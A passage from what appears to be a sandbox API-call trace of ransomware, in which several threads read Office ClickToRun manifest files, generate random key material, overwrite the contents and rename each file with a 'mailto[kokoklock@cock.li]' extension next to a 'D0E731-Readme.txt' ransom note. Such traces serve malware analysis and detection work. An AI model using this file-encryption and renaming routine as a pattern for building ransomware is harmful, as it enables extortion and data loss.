lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17dbf934, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x17dbf934*=0x4096, lpOverlapped=0x0) returned 1 [0074.006] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x4b35e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdbc8 [0074.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e370 [0074.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e370) returned 1 [0074.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.008] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e190 [0074.008] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdbc8) returned 1 [0074.008] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17dbf934, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x17dbf934*=0x4096, lpOverlapped=0x0) returned 1 [0074.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.008] WriteFile (in: hFile=0x944, lpBuffer=0x341eb90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17dbf990, lpOverlapped=0x0 | out: lpBuffer=0x341eb90*, lpNumberOfBytesWritten=0x17dbf990*=0x20, lpOverlapped=0x0) returned 1 [0074.008] WriteFile (in: hFile=0x944, lpBuffer=0x341f040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17dbf990, lpOverlapped=0x0 | out: lpBuffer=0x341f040*, lpNumberOfBytesWritten=0x17dbf990*=0x20, lpOverlapped=0x0) returned 1 [0074.008] WriteFile (in: hFile=0x944, lpBuffer=0x341e190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17dbf990, lpOverlapped=0x0 | out: lpBuffer=0x341e190*, lpNumberOfBytesWritten=0x17dbf990*=0x20, lpOverlapped=0x0) returned 1 [0074.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.009] WriteFile (in: hFile=0x944, lpBuffer=0x341eed8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x341eed8*, lpNumberOfBytesWritten=0x17dbf998*=0x8, lpOverlapped=0x0) returned 1 [0074.009] WriteFile (in: hFile=0x944, lpBuffer=0x17dbf9b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x17dbf9b0*, lpNumberOfBytesWritten=0x17dbf998*=0x4, lpOverlapped=0x0) returned 1 [0074.010] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17dbf998*=0x4, lpOverlapped=0x0) returned 1 [0074.010] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17dbf998*=0x6c, lpOverlapped=0x0) returned 1 [0074.010] WriteFile (in: hFile=0x944, lpBuffer=0x341ee60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x341ee60*, lpNumberOfBytesWritten=0x17dbf998*=0x20, lpOverlapped=0x0) returned 1 [0074.010] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17dbf998*=0x4, lpOverlapped=0x0) returned 1 [0074.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee60) returned 1 [0074.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eeb0) returned 1 [0074.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0074.010] CloseHandle (hObject=0x944) returned 1 [0074.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x132) returned 0x342c4d8 [0074.010] wcscpy (in: _Dest=0x342c4d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" [0074.010] wcscat (in: _Dest=0x342c4d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.010] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.011] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c4d8) returned 1 [0074.011] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.011] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3435458 [0074.011] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.011] wcscat (in: _Dest=0x3435458, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.011] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0074.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e56f8) returned 1 [0074.012] RtlExitUserThread (Status=0x1) Thread: id = 609 os_tid = 0x1360 [0073.634] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 0x20 [0073.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.635] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x948 [0073.635] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x17e3f934 | out: lpFileSize=0x17e3f934*=104560) returned 1 [0073.635] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x1986c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.635] ReadFile (in: hFile=0x948, lpBuffer=0x17e3f908, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x17e3f908*, lpNumberOfBytesRead=0x17e3f904*=0x4, lpOverlapped=0x0) returned 1 [0073.753] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0073.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f018 [0073.753] NtQuerySystemTime (in: CurrentTime=0x17e3f8e0 | out: CurrentTime=0x17e3f8e0*=132121176316440329) returned 0x0 [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xb1d7dafc [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x41e37ac2 [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x9b2650e7 [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x6bb59f51 [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xaafd3f76 [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x60225c5e [0073.753] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x963fa28a [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x3326d3d4 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xae37d439 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x8855ba02 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x8ac0e5e0 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xf8b35241 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x37f0041 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x96c9142c [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xd3e2f106 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x88c27cae [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x79857757 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x78a9470d [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xd44e7971 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x2a7cac6d [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x5acf8433 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xb9fb986b [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xa8cefb97 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xa32f7f34 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xa02296c6 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x61dbe928 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0xe6d93287 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x4d289289 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x12144a4 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x35382b95 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x5dcf76f1 [0073.754] RtlRandom (in: Seed=0x17e3f8ec | out: Seed=0x17e3f8ec) returned 0x40fd1f72 [0073.769] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.769] ReadFile (in: hFile=0x948, lpBuffer=0x348a358, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17e3f8b8, lpOverlapped=0x0 | out: lpBuffer=0x348a358*, lpNumberOfBytesRead=0x17e3f8b8*=0x4096, lpOverlapped=0x0) returned 1 [0073.959] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0073.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0073.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0073.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e370 [0073.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e370) returned 1 [0073.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.960] WriteFile (in: hFile=0x948, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17e3f8b8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x17e3f8b8*=0x4096, lpOverlapped=0x0) returned 1 [0073.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.961] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x19870, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.961] WriteFile (in: hFile=0x948, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17e3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x17e3f8f0*=0x20, lpOverlapped=0x0) returned 1 [0073.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a358) returned 1 [0073.962] WriteFile (in: hFile=0x948, lpBuffer=0x341f090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x341f090*, lpNumberOfBytesWritten=0x17e3f904*=0x8, lpOverlapped=0x0) returned 1 [0073.962] WriteFile (in: hFile=0x948, lpBuffer=0x17e3f91c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x17e3f91c*, lpNumberOfBytesWritten=0x17e3f904*=0x4, lpOverlapped=0x0) returned 1 [0073.962] WriteFile (in: hFile=0x948, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17e3f904*=0x4, lpOverlapped=0x0) returned 1 [0073.962] WriteFile (in: hFile=0x948, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17e3f904*=0x6c, lpOverlapped=0x0) returned 1 [0073.963] WriteFile (in: hFile=0x948, lpBuffer=0x341f068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x341f068*, lpNumberOfBytesWritten=0x17e3f904*=0x20, lpOverlapped=0x0) returned 1 [0073.963] WriteFile (in: hFile=0x948, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17e3f904, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17e3f904*=0x4, lpOverlapped=0x0) returned 1 [0073.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0073.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f040) returned 1 [0073.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f090) returned 1 [0073.963] CloseHandle (hObject=0x948) returned 1 [0073.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x342aaa0 [0073.963] wcscpy (in: _Dest=0x342aaa0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" [0073.963] wcscat (in: _Dest=0x342aaa0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.963] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342aaa0) returned 1 [0073.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.975] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.975] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.975] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e57f0) returned 1 [0073.975] RtlExitUserThread (Status=0x1) Thread: id = 610 os_tid = 0x1364 [0073.637] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 0x20 [0073.641] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.641] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94c [0073.641] GetFileSizeEx (in: hFile=0x94c, lpFileSize=0x17ebfeb8 | out: lpFileSize=0x17ebfeb8*=2042) returned 1 [0073.641] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.642] ReadFile (in: hFile=0x94c, lpBuffer=0x17ebfe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x17ebfe8c*, lpNumberOfBytesRead=0x17ebfe88*=0x4, lpOverlapped=0x0) returned 1 [0073.772] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eff0 [0073.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1b8 [0073.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e528 [0073.773] NtQuerySystemTime (in: CurrentTime=0x17ebfe64 | out: CurrentTime=0x17ebfe64*=132121176316596715) returned 0x0 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x8fcf5c0f [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xe321cd95 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x28905f9b [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x4d5aecb9 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xd4f894a9 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x4de042b6 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x26b91da [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x68b94f07 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x729f59ec [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xf5e0ff8d [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x26ff183 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x9b5948ec [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x44957b21 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x1aa30c77 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xca7b2212 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xaa4f3f7c [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xd21d2c01 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xb284d2fb [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xd2b04cf8 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x45770da3 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x79bda721 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x1f2ed35b [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xdda373b7 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 